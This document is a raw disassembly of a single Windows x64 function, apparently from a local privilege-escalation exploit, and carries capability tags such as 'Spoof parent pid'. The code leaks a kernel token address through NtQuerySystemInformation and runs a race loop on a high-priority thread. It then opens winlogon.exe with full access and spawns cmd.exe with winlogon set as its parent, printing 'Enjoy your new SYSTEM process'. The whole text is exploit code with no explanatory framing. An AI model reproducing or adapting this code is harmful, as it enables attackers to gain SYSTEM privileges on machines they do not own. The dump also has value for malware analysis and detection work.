Function at 0x140001090
Capabilities:
Create process on windows
Create thread
Enumerate processes
Spoof parent pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x230], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryInformationToken
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005658], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x140005640]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rsi, qword [0x140005640]
lea rcx, [0x1400032e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001466
lea rcx, str.GetProcAddress___failed._n
call fcn.140001010
xor edi, edi
mov rbx, rdi
mov rdx, qword [0x140005640]
lea rcx, str.hToken:__x__kTokenAddr:__p_n
mov r8, rbx
mov qword [rsp + 0x368], r15
mov qword [0x140005638], rbx
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor ecx, ecx
mov edx, 0x1000
mov r8d, edx
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140005648], rax
test rax, rax
je 0x140001542
mov rcx, qword [0x140005640]
lea r15, [0x140005654]
mov r9d, 0x1000
mov qword [rsp + 0x20], r15
mov r8, rax
mov edx, 0x16
call qword [0x140005658]
test eax, eax
jne 0x1400011e4
mov rcx, qword [0x140005648]
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
je 0x1400011e4
mov rax, qword [rax + 8]
test rax, rax
je 0x1400011e4
sub eax, ecx
lea rcx, str.Found_target_offset_value:_0x_x_n
add eax, 0x20
mov edx, eax
mov dword [0x140005650], eax
call fcn.140001010
mov eax, dword [0x140005650]
test eax, eax
je 0x140001542
mov edx, eax
mov qword [rsp + 0x360], r14
add rdx, qword [0x140005648]
lea rcx, str.Target_address__0x_llx_n
mov qword [0x140005630], rdx
call fcn.140001010
xor edx, edx
mov dword [rbp - 0x10], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x10]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400012a6
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1400012a6
lea rsi, str.winlogon.exe
nop word [rax + rax]
lea rdx, [rbp + 0x1c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001294
add rax, 2
cmp rax, 0xd
je 0x140001513
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140001270
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001260
mov r14d, dword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
nop dword [rax + rax]
mov qword [rsp + 0x28], rdi
lea r8, [0x140001070]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xf
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, 0x1388
mov r8, qword [0x140005648]
mov r9d, 0x1000
mov rcx, qword [0x140005640]
mov edx, 0x16
mov qword [rsp + 0x20], r15
call qword [0x140005658]
sub rbx, 1
jne 0x1400012f3
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400012c0
mov rdx, rax
lea rcx, str.Got_Winlogon_handle:_0x_x_n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xorps xmm0, xmm0
mov qword [rsp + 0x58], rbx
xor eax, eax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rbp - 0x3c], rax
xor ecx, ecx
mov dword [rbp - 0x34], eax
movups xmmword [rsp + 0x64], xmm0
lea edx, [rax + 1]
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
lea r9, [rsp + 0x50]
mov rcx, rax
mov qword [rbp - 0x38], rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rbp - 0x38]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x30]
mov dword [rsp + 0x60], 0x70
mov qword [rsp + 0x48], rax
lea rdx, str.C:Windows_system32cmd.exe
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r14, qword [rsp + 0x360]
test eax, eax
jne 0x14000151c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.140001010
jmp 0x140001528
mov eax, 0x14
nop dword [rax + rax]
add eax, eax
mov ecx, 0x40
mov edx, eax
mov dword [rsp + 0x50], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call rdi
cmp eax, 0xc0000004
jne 0x1400014a7
mov eax, dword [rsp + 0x50]
jmp 0x140001470
test eax, eax
je 0x1400014be
mov edx, eax
lea rcx, str.NtQuerySystemInformation_failed_with_error_code_0x_X_n
call fcn.140001010
jmp 0x140001133
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [rbx]
xor edi, edi
mov r9d, eax
mov edx, edi
test r8, r8
je 0x140001135
lea rcx, [rbx + 0x18]
nop dword [rax + rax]
mov rbx, qword [rcx - 8]
cmp dword [rcx], r9d
jne 0x1400014ef
cmp qword [rcx + 8], rsi
je 0x140001502
inc edx
add rcx, 0x28
movsxd rax, edx
cmp rax, r8
jb 0x1400014e0
jmp 0x140001135
lea rcx, str.Found_object__n
call fcn.140001010
jmp 0x140001138
mov r14d, dword [rbp - 8]
jmp 0x1400012ab
lea rcx, str.Enjoy_your_new_SYSTEM_process_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005640]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001547
mov eax, 0xffffffff
mov r15, qword [rsp + 0x368]
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140001590
mov rbx, qword [rsp + 0x370]
add rsp, 0x340
pop rdi
pop rsi
pop rbp
ret